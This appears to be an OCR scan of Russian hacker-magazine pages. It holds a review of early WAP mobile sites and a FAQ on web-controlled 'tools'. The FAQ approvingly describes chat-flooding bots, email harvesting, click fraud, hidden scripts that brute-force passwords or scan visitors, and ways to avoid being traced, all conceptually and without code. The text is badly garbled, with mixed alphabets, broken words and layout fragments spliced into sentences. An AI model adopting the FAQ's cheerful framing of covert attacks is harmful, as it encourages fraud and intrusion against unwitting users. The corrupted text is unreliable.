разговор о WAP-cep- 

висах, скажу пару 
слов о том, что такое WAP. Углуб- 
ляться в объяснение не буду, это 
тема отдельной статьи. Итак, WAP 
это Wireless Application (или 
Access) Protocol - протокол для по- 
лучения информации из сети для 
сотовых телефонов и прочих мо- 
бильных устройств. Так же как в 
обычном браузере для просмотра 
страниц используется протокол 
http, так в браузерах мобильников 
используется протокол wap. Стра- 
нички для wap'a делаются с по- 
мощью языка WML (Wireless Mark- 
up Language). WML младший брат 
языка HTML и очень Ha него по- 
хож, однако имеет свои особен- 
ности и гораздо меньшую функци- 
ональность. К сожалению, на ма- 
леньком экране телесфона пока 
нельзя получить такой же резуль- 
тат, как на мониторе компьютера, 
но все еще впереби. 


ЭМУЛЯТОРЫ 

А теперь доставай свой мобиль- 
ник и готовься окунуться в мо- 
бильный Интернет-мир. А если у 
тебя нет возможности посмотреть 
\\ГАР-сайты с мобильника, но 
очень хочется - воспользуйся спе- 
циальным софтом, позволяющим 
просматривать мобильные ресур- 
сы на обычном компьютере. Самая 
доступная программа для прос- 
мотра \!АР-страниц на компьюте- 
ре - это всем известный браузер 
Орега. Его пользователи наверня- 
ка знают об этой возможности, а 
для всех остальных пусть это бу- 
дет приятным открытием :). На 
всякий случай, скачать Оперу 
можно тут: http://www.opera.com/ 
:). Конечно, в окне браузера сайт 
не будет выглядеть так же акку- 
ратно, как на телефоне, поэтому 
существуют также специализиро- 
ванные \\/АР-браузеры, которые 
выглядят как мобильный телефон. 
Например, браузер M3Gate имеет 
множество скинов разных теле- 
фонов и совместим с обычными 
браузерами. То есть если ты по- 
пытаешься открыть в эксплорере 
или нетскейпе \/АрР-сайт, то 
M3Gate автоматом загрузится и 
покажет тебе то, что ты хотел пос- 


ТЕГА 
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\АР-СЕРВИСЫ 


МАЛЕНЬКИЙ ИНТЕРНЕТ В ТВОЕМ ТЕЛЕФОНЕ 


мотреть. Подробнее узнать о бра- 
узере и скачать его можно по ag- 
ресу: 
http://www.numeric.ru/m3gate. 
Кроме того, M3Gate переведен Ha 
русский язык. 

Но хватит о браузерах, перейдем 
к М/АР-сайтам. Я сделал обзор нес- 
кольких ссылок, которые должны 
быть в закладках каждого мобиль- 
ника. Поскольку отсканировать эк- 
ран своего сотового мне не уда- 
лось (сканер никак не захотел ска- 
нировать телефон), то скриншоты 
буду брать из эмулятора :). 


icq 

http://wap88.com/ 
Да! Это настоящее WAP-ICQ! И это не 
просто слова - оно работает! Захо- 
дишь на сайт, вводишь свой номер, 
пароль - ты в ICQ. Учитывая мнение 
очевидцев (и проведя долгое время 
в поисках :)), я пришел к выводу, что 
это единственный работающий на 
данный момент сайт, через который 
можно работать с ICQ с мобильника. 
К сожалению, у него есть недостатки. 
Во-первых, это то, что теряются 
офрф-лайновые сообщения. То есть 
если тебе посылают сообщение, ког- 
да ты в офф-пайне, а потом ты логи- 
нишься в WAP-ICQ, то ни одного со- 
общения не получишь. Более того, 
ты их вообще никогда не увидишь :(. 
Но с этим легко бороться, достаточно 
зарегистрировать себе дополнитель- 
ный номер и обозвать его 
MOOF@WAP, например. Тогда все 
друзья будут знать, что это мобиль- 
ный номер ICQ, и осрф-лайновых со- 
общений тебе слать не будут :). Вто- 
рой недостаток - это очень малень- 
кий контакт-лист. В него можно доба- 
вить всего восемь человек. Хотя я с 
трудом себе представляю, как можно 
чатиться в (сд с мобильника. Ведь 
есть и вполне себе прилично работа- 
ет связка SMS-ICQ. Ну и, наконец, 


Сотовые операторы: 


MTS 
http://wap.mts.ru/ 


BeeLine 
http://wap.beeline.ru/ 


C3 МегаФон 
http://wap.nwgsm.com/ 


ICQ на твоем телефоне 


WAP-ICQ не понимает русский язык. 
Приходится писать транслитом. 
(Прим. Дронича - на самом деле не 
все так плохо. В связке "мобильник- 
КПК" сидеть в такой аське очень 
приятно. А учитывая, что GPRS-WAP 
стоит дешевле полноценного GPRS, 
получается дешевое мобильное ре- 
шение. :) Ведь на КПК ничего кроме 
браузера не понадобится.) 


ПОЧТА 

http://wap.mail.ru/ 
Доступ к почте через WAP предостав- 
ляют многие популярные сайты, в том 
числе и русскоязычные. Наиболее ак- 
туальным, наверное, является сервис 
mail.ru. Почта корректно работает с 


Били к 
pert een 


Проверим почту? 


Мобильные Яндекс и Апорт 


русскими кодировками и совсем не 
тормозит. Кроме обычных папок: Вхо- 
дящие, Отправленные, Удаленные, 
доступна также адресная книга, что, 
безусловно, является плюсом. А если 
еще учесть, что на сайте тай.ги ты MO- 
жешь сделать сбор почты с других 
почтовых аккаунтов, то проверить 
почту с мобильного телесфрона ты смо- 
жешь из любой точки планеты. 


поиск 

http://wap.yandex.ru/ 

http://wap.aport.ru/ 
Большой мобильный портал oT AH- 
декса и еще один от Апорта. Тут 
есть все: почта, новости, погода, 
программа ТВ, ссылки и, конечно, 
поиск. Искать можно как в обычном 
Интернете, так и в WAP'e. Причем, 
если ты ищешь в Интернете, то Ян- 
декс и Апорт умеют автоматом пре- 
образовывать найденный сайт в 
страничку, понятную твоему теле- 
фону. Получается, что у этих двух 
сайтов есть конвертер html в wml. 
Немного покопавшись на Яндексе, 
удалось обнаружить адрес конвер- 
тора - 
http://www.yandex.ru/h2w?url= , где 
после url= идет адрес сайта. Hanpu- 
мер, чтобы посмотреть сайт 
Microsoft на мобильнике, надо 
ввести адрес 
http://www.yandex.ru/h2w?url=http:/ 
/www.microsoft.com/. Конечно, KOH- 
вертер не универсальный и многие 
сайты отображает неправильно, но 
для мобильника вполне хватает. У 
Апорта конвертер посильнее, одна- 
ко так просто доступ к нему не по- 
лучить. Только через поиск. 


МЕВЛ/МАР-СЕРВИСЬ 
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Мобильный справочник 


ПОИСК В МАРЕ 
http://mobile.alltheweb.com/ 
A этот поисковик позволяет искать 


не только по русскоязычным, но и 
по международным WAP-pecypam. 
У него просто огромная поисковая 
база данных. Искать по обычным 
сайтам он не умеет, зато по WAP'y 
ищет лучше всех. 


СПРАВОЧНИК 
http://wap.mtt.ru/ 
Отличный сайт с обилием раз- 
личной справочной информации 
по разным городам. Например, с 
помощью него можно за нес- 
колько секунд узнать телефон 
налоговой службы Центрального 
района Санкт-Петербурга :). Кро- 
ме справочной информации на 
сайте есть огромное количество 
развлечений: тесты, игры, горос- 
копы, цитаты, сонник и многое, 
многое другое. Еще на сайте 
есть НТМЕ-конвертер, конверти- 
рует быстро, но оставляет много 
лишней информации, такой как 
имена картинок. 


ROSWEB 

http://wap.rosweb.ru/ 
Настоящий мобильный портал. 
Тут есть всевозможные новости 
(мировые, российские, новости 
MTV), погода (на несколько горо- 
дов России), развлечения. Также 


Искать в WAP? Портал от RosWeb 


ить 


И/ар-портал 


отдельный раздел посвящен 
Москве. В развлечениях есть 
афиша различных мероприятий, 
гороскоп, анекдоты, афоризмы, 
тосты. В общем, стандартный на- 
бор развлекательного сайта. Раз- 
ве что картинок нет. :) 


GALA 

http://wap.gala.net/ 
Еще один портал. Кроме новостей, 
гороскопов и анекдотов тут есть 
чат, служба знакомств, доска объ- 
явлений, тесты и еще много всякой 
всячины. Кстати, в знакомствах 
пользователи оставляют свои ре- 
альные номера телефонов. Одним 
словом, тут ты не соскучишься. 


_.................____, 


erty = сони 


mentee НЕ 


Информация о концертах 
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Это настоя- 
щее WAP-ICQ! 
И это не прос- 
то слова - оно 

работает! 
Заходишь на 
сайт, вводишь 
свой номер, 
пароль - 

ты в ICQ 


1а5ил.-аза 


WEB/WAP-CEPBUCbI 


ВЕБ-ТУЛЗЫ 
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затеи новости 


ПЕРЕВОДЧИК 
http://wap.translate.ru/ 


Целый Промт в твоем мобильнике! 


Умеет переводить с русского на 


знал, то уже 


со своей 
мобилой 


У такого музыкального монстра 


| 72 и нее Баны | 
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английский и обратно. Доступно 
несколько словарей: Общая лек- 


существуют 
ня по  сика, Бизнес, Компьютеры. Ha эк- 
-ресур- : 
сам Tak что замене сгодится :). 
тебе не при- 
geren мучить МУЗЫКА 
м, 
куда податься http://wap.mp3.com/ 


Интернета, как Mp3.com, тоже 
есть свой WAP-pecypc. Примечате- 
лен он тем, что там можно посмот- 
реть информацию по музыкаль- 
ным концертам во всем мире, 
включая и Россию. 


НОВОСТИ СВЯЗИ 
http://wap.revkom.ru/ 
Сайт, посвященный новостям ми- 
ра связи и цифровых устройств. 
Кроме самих новостей с сайта 
можно быстро отправить сообще- 
ние Ha ICQ или e-mail, что иногда 
бывает очень удобно. 


YAHOO.COM 
http://wap.yahoo.com/ 
Что тут говорить? Популярнейший 
портал присутствует и в wap'e. К 
сожалению, русскоязычной части 
нет, но тебе никто не мешает зайти 
на любую другую часть сайта. Тут 
есть все возможности "старшего 
брата" - начиная от календаря и 
новостей и заканчивая почтой и 
yahoo messenger! А по адресу 
http://mobilegames.yahoo.com/ ты 
можешь найти мобильные игруш- 
ки. Можно поиграть в Blackjack, 
Video Poker, кости или другие игры. 


Производители телефонов: 


http://wap.ericsson.com/ - Ericsson 
http://mobile.club.nokia.com/ - Nokia 
http://wap.panasonicbox.com/ - Panasonic 
http://wap.o55m.ru/ - Simens 
http://wap.alcatel.com/ - Alcatel 
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Yahoo в телефоне :) 


Причем, если у твоего мобильника 
цветной экран, то картинки в играх 
тоже будут цветными. 


ЧАТ 
http://wap.agotchi.net/c.wml 
\М/АР-чатов можно найти много, HO 

особенность этого - то, что в нем 
тусуются русскоязычные пользо- 
ватели. В чате не нужна регистра- 
ция, так что заходи и болтай. Ну и, 
конечно, есть несколько разных 
комнат, в том числе и приват. 


ИГРЫ 
http://www.wirelessgames.com/ 
Сайт с мобильными игрушками. 
Обязательно поиграй в рулетку! 
Делаешь ставки, жмешь Spin и 
получаешь результат. Но самое 
прикольное - это многопользова- 
тельская игра Танчики. В нее мож- 
но играть вдвоем! Ты вводишь 
угол и силу выстрела и стреляешь 
по противнику. Игра захватывает, 
когда играешь с живым челове- 
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Початимся? 


Sortie Ree ке Е В 


Погода на любой вкус 


ком, а не с компьютером. 
http://wap.uptsoft.com/ 
rus/games.wml Если тех игр тебе 
оказалось мало, то по этой ссылке 
ты можешь поиграть еще в нес- 
колько игрушек: морской бой, 
крестики-нолики, рулетка. 


ТУРИСТАМ 
http://wap.tours.ru/ 
На сайте можно посмотреть стои- 
мость туров в различные страны 
мира из Москвы и Санкт-Петер- 
бурга, посмотреть цены на гости- 
ницы и билеты на самолеты. А 
еще можно посмотреть прогноз 
погоды в разных городах мира. В 
целом очень полезный сайт для 
путешественников. 


ПОГОДА 
http://wap.gismeteo.ru/ 
Куда же без погоды? Ha сайте 
можно узнать погоду почти для 
всех городов России, стран быв- 
шего СССР и Европы. Сайт обнов- 
ляется регулярно, что не может не 
радовать. Кроме того, погода 
представлена на несколько дней, 
даже есть картинки. Однозначно 
лучший сайт о погоде. 


СПОРТ 
http://wap.sportzone.ru/ 
Для интересующихся спортом, a 
именно футболом и хоккеем, нас- 
тоятельно рекомендую этот сайт. 
На сайте представлена подроб- 
ная информация о результатах 
матчей не только России, но и не- 
которых других стран. Вся инфор- 
мация, естественно, на русском. 


КОНФЕРЕНЦИИ ФИДО 
http://wap.newsgate.ru/ 
Для тех, кто тоскует по Фидо, су- 
ществует специальный WAP-rent 
в FIDO/USENET. Тут можно чи- 
тать группы, смотреть новые, ис- 
кать по группам и даже писать в 
них. Однако писать у меня поче- 
му-то не получилось, а вот чита- 
ются конференции очень даже 
хорошо. 


ПСИХОЛОГИЧЕСКИЕ ТЕСТЫ 
http://waptest.ru/main.wml 
Если нужно убить время и заод- 
но узнать о себе несколько фак- 
тов, психологические тесты имен- 

но то, что нужно. На страничке 
ты сможешь определить особен- 
ности характера, узнать о своем 
здоровье, юмористические тесты 
и многие, многие другие. Тестов 
всего несколько десятков. Есть 
чем заняться. 


БИЗНЕС-ИНФОРМАЦИЯ 
http://wap.mfd.ru/ 
Для тех, кого интересуют курсы 
валют, акции и прочие биржевые 
индексы, - этот сайт окажется 
чрезвычайно полезным. На сайте 
также есть регулярно обновляю- 
щаяся лента новостей. А уж как 
можно понтануться на семинаре 
по какому-нибудь "Банковскому 
делу" или "Валютным рынкам" :)... 
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Популярные конференции Каталог мар-сайтов 


КАТАЛОГ САЙТОВ 
http://www.nevru.com/wap/ 
indct_cyr.wml 
На сайте представлен, наверное, 
самый большой каталог русскоя- 
зычных \\/АР-сайтов. Все сайты 
удобно разбиты по категориям, в 
общем все, как в обычном взрос- 
лом каталоге. Кроме того, на сай- 
те есть еще и рейтинг WAP-pe- 
сурсов, благодаря которому ты 
быстро сможешь найти интерес- 
ные ресурсы. 


БАННЕРНАЯ СЕТЬ 
http://www.wapbanners.net/ 
english/ 
WAP - это маленький Интернет, в 
нем тоже существуют свои бан- 
нерные сети. Вот одна из них. 
Кроме баннерной сети на сайте 
можно взять счетчик для своей 
\/АР-странички и посмотреть ка- 
талог сайтов. 


ЗАКЛЮЧЕНИЕ 

К сожалению, большинство WAP- 
сайтов не отличается оригиналь- 
ностью. Да оно и понятно, много 
ли можно сделать оригинального 
на маленьком экранчике мобиль- 
ника. В основной своей массе 
WAP-pecypcbl - это новости, анек- 
доты и гороскопы. И немного игр. 
Я, например, использую WAP для 
чтения почтового ящика, когда 
долго не бываю дома. Но не бо- 
лее. Читать анекдоты на малень- 
ком экране телефона выше моих 
сил :). Хотя радует, что наконец 
стали появляться цветные сайты, 
уже что-то. Вот связка WAP-PDA- 
мобильник - по-моему идеальное 
решение. Будь мобильным! :). 


МЕВЛМАР-СЕРВИСЬ 
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Через мобиль- 
ный телефон 
сейчас доступ- 
на практически 
любая справоч- 
ная информа- 
ция. Запасайся 
ссылками на 
мар-словари, 
переводчики 

и справочники 
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Матушка Лень (MLen@mail.ru) 
LEN' vsemu golova! 


Что такое 


веб-тулзы? 


Мы так называем полезные программули- 
ны, которыми можно управлять с веб- 
странички. Это могут быть почтовые прог- 
раммы, ICQ, IRC, хакерские тулзы, админс- 
кие сосфтинки, базы данных, конструкторы 
сайтов, игрушки и вообще практически 
любые программы. «В чем тут кайф?», - 
спросишь ты меня. А в том, что WEB-6pay- 
зеры появились даже в телефонах, и ра- 
ботать с WEB реально даже на некоторых 
телевизорах. Но далеко не на каждый 
компьютер, где работает WEB, ты можешь 
устанавливать нужный тебе COT. 

А вот ВЕБ-сосфт будет работать в лю- 
бой точке вселенной, была бы связь с 
Интернетом. 

То есть теперь ты сможешь чатиться по 
Аське и Ирке даже на работе, где злой ag- 
мин закрыл нужные порты и не разреша- 
ет ставить проги. Ты сможешь хакать или 
админить сайт из Интернет-касре, где за 
попытки открытия шелла полагается 
мгновенное отрубание головы. Словом, 
ВЕБ-тулзы - лучшие друзья хакера, кото- 
рые позволяют ему делать свои черные 
дела, не привлекая к себе внимания, под 
видом обычного серсринга по Инету. 


Какое отношение 
имеет «клиент- 
сервер» 

к тулзам? 


Самое непосредственное. «Чтобы прог- 
рамма где-то работала, ее нужно сначала 
где-то установить» (с) КиберПух. В том-то 
и дело, что программа, управляемая че- 
рез WEB, устанавливается на тачку с 
\М/ЕВ-сервером. А контроль за этой прог- 
раммой осуществляется через МЕВ-кли- 
ент, то есть браузер. 

Теперь давай распутывать запутанное! 
Для работы идеи «Клиент - Сервер» нам 
нужно две программы: управляющая и уп- 
равляемая. Есть много сосфтин, управляе- 
мых через сеть, их минус в том, что на уп- 
равляющий комп нужно ставить клиента. 
Допустим, ты хочешь удаленно админист- 
рировать чужую тачку, для этого нужно 
ставить на твой комп специального кли- 
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ента и сервер на чужой комп (трояна). 
ВЕБ-тулзы удобны тем, что паразитируют 
на уже готовой схеме: «ВЕБ-сервер - ВЕБ- 
клиент». То есть тебе не нужно устанав- 
ливать специального клиента на свою ма- 
шину, достаточно использовать имею- 
щийся браузер. 

Кстати, существуют троянские кони, спо- 
собные превратить твою невинную тачку 
в WEB-cepsBep с \МЕВ-тулзой удаленного 
администрирования твоих ресурсов про- 
тив твоей воли. Заходишь браузером на 
новоиспеченную домашнюю страничку 
протрояненного ламобота и направляешь 
троян-тулзе рекомендации по расправе с 
несчастным пользователем. 


Веб-тулзы 
схожи 


с туннелями? 


В некотором роде это НТТР-туннели. На 
админском файрволле, прикрывающем 
доступ в Инет, могут быть запрещены 
порты и протоколы telnet, smtp, pop3, ICQ, 
IRC, FTP и так далее. Вообще все может 
быть наглухо закрыто, кроме HTTP. OgHa- 
ко ты можешь получить доступ к нужным 
сервисам через WEB, то есть по протоко- 
лу НТТР. Потому можно считать примене- 
ние в этих случаях WEB-Tyn30B полноцен- 
ным НТТР-туннелированием. Хотя, с дру- 
гой стороны, оп-те-калькулятор диффе- 
ренциальных уравнений офигенного по- 
рядка туннелем не назовешь. 

Помнишь важное свойство туннелей? 
Они могут вкладываться gpyr в друга! To 
есть один туннель может вкладываться в 
другой. Например, WEB-cnamep может ис- 
пользовать WEB-noutTy. То есть ВЕБ-тулзы 
могут связываться и юзать друг друга. 


Кто такие 
боты? 


У тебя есть ВЕБ-клиент (браузер), ты им 
управляешь, когда лазаешь по странич- 
кам, треплешься в чатах, пишешь в госте- 
вухи и форумы, регистрируешься в ката- 
логах, используешь ВЕБ-тулзы. Ты выпол- 
няешь при этом простые операции: клика- 
ешь по кнопкам, передаешь строковые 


или численные данные. То есть 
возможно научить скрипт-робот 
кликать за тебя по кнопкам и пере- 
давать данные через сформы, алго- 
ритм простой. На этом принципе ра- 
ботают поисковые машины, они 
притворяются пользователями - за- 
ядлыми серферами - и неустанно 
кликают по ссылкам, сохраняя в ба- 
зе найденную инфу. Нередко, рабо- 
тая с поисковыми машинами, ты по- 
падаешь во вложенные туннели, 
когда один робот-поисковик дает 
ссылку на результаты другого по- 
исковика. 

А теперь представь себе скрипт, 
который умеет за тебя трепаться в 
\/ЕВ-чате. То есть он регулярно зап- 
рашивает обновление чатовской 
страницы, ведет логи разговора и 
даже умеет отвечать осмысленно, 
анализируя полученный текст. Та- 
кая программа и называется ботом, 
причем боты бывают как для !РС-ча- 
тов, так и для WEB. Bota можно по- 
садить, наверное, в любой системе 
онлайнового общения. Заметь, что 
в этом случае ты снова сталкива- 
ешься с вложенным НТТР-тунне- 
лем, ведь сервер с запущенным на 
нем ботом становится клиентом 
WEB-uata. Кстати, \МЕВ-чаты, госте- 
вухи и форумы - еще одна разно- 
видность \\МЕВ-тулз. Без добавления 
алкоголя в мозг сложно себе предс- 
тавить, что есть еще один вложен- 
ный туннель. Ведь ты можешь уп- 
равлять своим ботом, передавая в 
общий чат команды для него! Нап- 
ример, можно прямо в чате попро- 
сить бота выдать в общий треп ста- 
тистику по определенному нику. То 
есть можно початиться с ботом - 
попросить его порыться в своих ло- 
гах и найти время, когда твой прия- 
тель последний раз был в чате. 
Как? Опять, сцука, ушел бухать с 
телками - и без тебя? 

Бот может быть в виде конверто- 
ра, когда одна его часть - 1РС-кли- 
ент - висит на нужном В С-канале и 
притворяется пользователем, а 
другая - служит \МЕВ-интерфейсом 
для управления его действиями че- 
рез браузер. Правда, в этом случае 
бот уже будет МЕВ-шлюзом. То 


есть, получив сообщение через 
WEB-qpopmy, бот отправляет его в 
IRC под именем пользователя. Ну и 
обратно: получив сообщение по 
IRC, показывает в виде HTML. 


Кто такие 
WAR-6oTbI? 


Если бот умеет заходить в чат под 
нужным ником, умеет передавать 
сообщения, то ничего не стоит go- 
работать его под флудер. Несколь- 
ко таких ботов, которые заходят в 
чат под разными именами, с разны- 
ми |Р-адресами, генерируют нес- 
колько десятков сообщений в се- 
кунду, способны сделать невоз- 
можным общение простых пользо- 
вателей в чате. 

В противовес военным ботам мож- 
но поставить скрипт-роботов с ag- 
министраторскими правами, кото- 
рые умеют автоматически банить и 
кикать по определенным призна- 
кам: по наличию мата в сообщени- 
ях, по сочетанию символов в имени, 
по диапазону IP-agpecos, 3a слиш- 
ком большое количество текста или 
за слишком частые сообщения. 


Что такое 
СПАМ- 


тулзы? 


Если можно научить скрипт лазать 
по страничкам, то можно заставить 
его искать в Интернете электрон- 
ные адреса пользователей. Допус- 
тим, оставил ты где-нибудь в Инете 
свой мыльник, его нашел такой ро- 
бот и занес в свою базу. После это- 
го базу продают, а тебя начинают 
жестко спамить разными идиотски- 
ми сообщения типа «Купи слона». 
OT таких автоматических охотников 
за е-мэйлами можно спастись, если 
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писать слово «собачка» вместо 
символа «@» или другими отвлека- 
ющими нестандартными маневра- 
ми. Хотя со временем паразиты все 
равно приобретут иммунитет к этим 
ухищрениям, и тебя все равно бу- 
дут бессовестно спамить. 

Других роботов учат автоматичес- 
ки отправлять сообщения в госте- 
вые книги и поисковые каталоги. 
Когда ты ходишь по немодеруемым 
гостевухам, то часто видишь тьму 
рекламных сообщений, которых в 
десятки раз больше, чем нормаль- 
ных, - работа спам-веб-тулз. Некото- 
рые ВЕБ-студии предлагают зареги- 
стрировать твою пагу сразу в 100...0 
сетевых каталогах и рейтингах, как, 
ты думаешь, им это удается? 


1ЧЕНХ1-Я3а 


Как еще 
применяют 
автомати- 


ческие 
тулзы? 


Если скрипт умеет кликать по ссыл- 
кам, то имеет смысл его применять в 
\/ЕВ-мошенничестве для накручива- 
ния счетчиков, рейтингов, кликов по 
баннерам. А чтобы спрятать следы, 
используется двойное туннелирова- 
ние, например, скрипт размещается 
на странице, и его запускает ни в чем 
не повинный пользователь, скрипт 
при этом выполняет свое черное де- 
ло от имени пользователя. Кстати, 
счетчики, рейтинги, голосовалки, ста- 
тистику тоже можно назвать тулза- 
ми, управляемыми через WEB. 

Ну и, конечно, программа, умею- 
Luan передавать запросы WEB-cep- 
веру, потенциально способна ба- 
нально подбирать пароль к закры- 
тым М/ЕВ-ресурсам, таким как WEB- 
почта или \\ЕВ-администратор стра- 
нички, или просто платный порно- 
сайт. И снова этот гадостный скрипт 
может работать от лица невинных 
пользователей, посещающих мир- 
ную страничку. 
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Как скрипт 
ориентируется 
на странице, 


он же 
слепой? 


Просто скрипт чуть-чуть знает HTML 
(HyperText Markup Language) - язык 
гипертекстовой разметки. Адреса 
ссылок, на которые мы кликаем, хра- 
нятся в стандартных тэгах HTML, ко- 
торые начинаются с «<A href=...». Ag- 
реса электронной почты выделяют- 
ся компонентом «тао:», а еще там 
есть собачка «@». Формы для отп- 
равки сообщения в гостевую книгу 
начинаются с тэга «<FORM». То есть 
без особых проблем можно напи- 
сать простенькую программу, пони- 
мающую содержание \МЕВ-страниц и 
натренированную вылавливать от- 
туда ссылки, адреса, способную да- 
же передавать данные в регистраци- 
онную cpopmy каталога или гостевой 
книги. Язык Perl обладает громадны- 
ми возможностями по анализу 
строк, однако имеются и готовые мо- 
дули HTML, LWP, URI для эмуляции 
работы браузера. То есть заставить 
скрипт притвориться \МЕВ-клиентом 
не проблема. 


Как превратить 
обычную 
программу 


Что понимать под обычной програм- 
мой? Большинство WEB-Tyn3 оказы- 
ваются банальными скриптами CGI, 
JSP, ASP, PHP. То есть такая содфти- 
на может быть создана специально 
для WEB, и передача данных между 
\МЕВ-интерфейсом и такой програм- 
мой происходит по стандартным ал- 
горитмам. Не уходя от этих техноло- 
гий, программулина способна прит- 
воряться браузером, 1ЮС-клиентом, 
1СО-клиентом, почтовым клиентом, 


me 
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способна работать с дисками серве- 
ра. Вопрос только в том, чтобы най- 
ти нужные библиотеки. 

Если возникает потребность исполь- 
зовать стандартные утилиты типа 
ping, то применяется срункция EXEC. 
То есть скрипт открывает шелл, за- 
пускает нужную тулзу с необходимы- 
ми параметрами, сохраняет и выдает 
результаты ее работы. Для этого ис- 
пользуются STDIN/STDOUT - станда- 
ртные потоки ввода-вывода. Есть воз- 
MOMHOCTb запускать макропрограммы, 
написанные на языке шелла. 

Однако если тулза обладает градри- 
ческим интерфейсом, то придется пи- 
сать надстройку, которая будет сох- 
ранять результаты работы програм- 
мулины в виде графического срайла 
или мультика и передавать скрипту. 
Еще сложнее вводить данные в та- 
кую программу. Словом, с этими ве- 
щами никто связываться не хочет, 
так как вместо того, чтобы использо- 
вать готовую тулзу с графическим 
интерфейсом, проще написать само- 
дельную оля WEB. Хотя потенциаль- 
но для любой сосфтины можно нава- 
ять \/ЕВ-интерфейс и тем самым 
превратить ее в \/ЕВ-тулзу. 

Другое дело - текстовые програм- 
мулины, которых полно в любом 
Юниксе; зачем изобретать велоси- 
пед, когда можно приделать ВЕБ- 
интерфейс, запарившись всего 
несколькими строчками кода. И по- 
TOM - Perl тоже не всемогущий; если 
ты программируешь интерфейс для 
стиральной машины, то без ассемб- 
лера не обойтись, так что пусть 
Рег-скрипт запускает готовый би- 
нарник stirlnaya_mashina.com. 


Как принимать 
данные со 


страницы? 


Через браузер ты получаешь от 
WEB-cepBepa страницу - интер- 
фейс твоей \/ЕВ-тулзы. Для соз- 
дания такой страницы тебе нужно 
знать хотя бы основы HTML. С no- 
мощью тэга <FORM> можно соз- 
дать на страничке поля для ввода 


текста, менюшки, переключатели, 
кнопки. Данные, которые ты вво- 
дишь с помощью этих элементов, 
браузер передает по протоколу 
HTTP методами СЕТ или POST. 
Элементы тэга <FORM> примитив- 
ные и уродливые, зато работают 
практически везде, подробнее об 
этом прочтешь здесь: 
http://www.citforum.ru/internet/ht 
ml40/interact/forms.html#edef- 
FORM. Любители эстетики исполь- 
зуют в качестве интерфейса тех- 
нологии JavaScript и Flash, они да- 
ют большие графические возмож- 
ности, но отключены в некоторых 
браузерах (в моем, например). 

Итак, пользователь производит 
манипуляции с \!ЕВ-интерфей- 
сом, браузер передает эти данные 
по НТТР-протоколу WEB-cepBepy, 
а сервер через переменные сре- 
дыи STDIN перенаправляет дан- 
ные нужному скрипту, который 
преобразует их в удобоваримый 
вид (раскодирует). Подробнее чи- 
тай здесь: 
http://emanual.ru/download/76.ht 
ml. После либо скрипт сам выпол- 
няет полезную тулз-работу, обра- 
тившись к библиотекам: произво- 
дит расчеты, спамит, флудит, по- 
сылает и принимает сообщения в 
IRC и ICQ. Либо он запускает гото- 
вую тулзу и передает ей данные в 
необходимом для нее виде. Нап- 
ример, вводит в сканер портов IP- 
адрес зашедшего пользователя. 
Так происходит управление WEB- 
тулзой, причем пользователь мо- 
жет и не знать, что при заходе на 
страницу скрипт начинает ска- 
нить, что-нибудь накручивать, 
подбирать пароль, считывать по- 
лезную инфу о юзере... 


Как выводить 
результаты 


в браузере? 


Если от WEB-tTyn3bl требуется 
возвращать какие-то полезные 
результаты своей работы: ре- 
зультат сканирования портов, со- 
общения ICQ/IRC, график роста 


количества ламоботов на сегмент 
сети. Все эти полезные вещи 
скрипт сохраняет в виде HTML- 
страницы, подставляя данные в 
готовые НТМ!-шаблоны. Техно- 
логии РНР, ASP, JSP подставляют 
куски HTML вместо своих скрип- 
товых вставок. Если скрипт сам 
запускал какую-то стандартную 
тулзу, то он перенаправляет вы- 
вод либо во временный cpan, 
либо в переменную среды, чтобы 
затем также подставить получен- 
ные данные в HTML. С помощью 
графических библиотек есть воз- 
можность построить график и 90- 
бавить его в виде картинки *.GIF, 
* PNG, *.JPG в тело HTML-goky- 
мента. После этого WEB-cepBep 
возвращает браузеру обновлен- 
ную страницу, и пользователь 
видит результаты. 

Есть и нестандартные случаи 
(например, меб-камеры), когда 
ответ формируется не в виде 
НТМЕ, а вообще передается по 
своему протоколу в надстройку 
браузера, понимающую нужный 
формат данных. 


Чего 
не могут 


WEB-tools? 


Эта технология возвращает нас в 
каменный век. С одной стороны, 
есть возможность запускать 
нужную программу без инсталля- 
ции из-под любой операционки, 
где есть сносный браузер. Но, с 
другой стороны, время реакции 


простейшей программы больше, 
чем на самых древних ПК. Через 
WEB ты не порендеришь в 
3DMAX, не поиграешь в Unreal 
Tournament или Контру, не пори- 
суешь в шотофопе. Чтобы эти 
программы работали по сети, их 
нужно качать и инсталлировать. 
Даже WEB-Kamepa к классическо- 
му WEB имеет мало отношения, 
потому что без специального 
плагина, который нужно скачи- 
вать и ставить, браузер ничего 
показывать не будет. То есть че- 
рез WEB мы можем управлять 
программами, не требующими 
быстрой реакции пользователя. 
Конечно, Flash и JavaScript поз- 
воляют играть в игры реального 
времени, только эти игры перед 
запуском скачиваются на компь- 
ютер пользователя и только по- 
том запускаются, поэтому они так 
примитивны. 


Анонимны 
ли хакерские 


ВЕБ-тулзы? 


Несомненно, любой туннель 
сильно запутывает следы. Если 
ты сидишь Ha IRC или в ICQ че- 
рез М/ЕВ-гейт, то сложно приду- 
мать разумный способ выявле- 
ния твоего IP. Твои враги видят в 
лучшем случае адрес сервера, на 
котором висит гейт. Однако от ре- 
ализации WEB-Tyn3bl тоже мно- 
гое зависит. Например, большин- 
ство современных серверов WEB- 
мыла любит сохранять в каждом 


FAQ/WEB-FAQing-TOOLZZZ 


письме |Р-адрес отправителя. Tak 
что об анонимности мыльной 
М/ЕВ-тулзы говорить не стоит. Og- 
нако вообще с WEB общаться 
анонимно проще, так как в каж- 
дом современном браузере есть 
удобная возможность подключе- 
ния анонимного ргоху-сервера. 
То есть сервера, который заменя- 
ет твой [Р-адрес на свой и обре- 
зает некоторые данные, переда- 
ваемые браузером в сеть. Наст- 
роить через такой анонимный 
proxy обычные mailer, IRC, 1С9 
сложнее. 

Программа с МЕВ-интерфейсом 
может связываться с другими 
серверами и программами прак- 
тически по любому протоколу, 
все зависит от фантазии прог- 
раммиста. То есть цепочка из за- 
вязанных друг с другом многок- 
ратно вложенных туннелей мо- 
жет быть настолько длинной и 
изощренной, что концов не рас- 
копаешь. Однако, чтобы выстро- 
ить ее анонимно, придется поста- 
раться, чтобы не засветиться. 

С другой стороны, использова- 
ние веб-тулз не оставляет на ком- 
пе хакера никаких стремных сле- 
дов - типа вредоносных программ, 
заготовок кода, компиляторов. 
Единственная зацепка - история 
соединений и временные файлы 
браузера, которые легко удаля- 
ются. Весь вредоносный сост - 
на сервере, причем он может ис- 
пользоваться одновременно 
большим количеством юзеров, 
вот и попробуй выяснить, кто из 
них тебя хакнул. А доказать вооб- 
ще нереально, засмеют. 
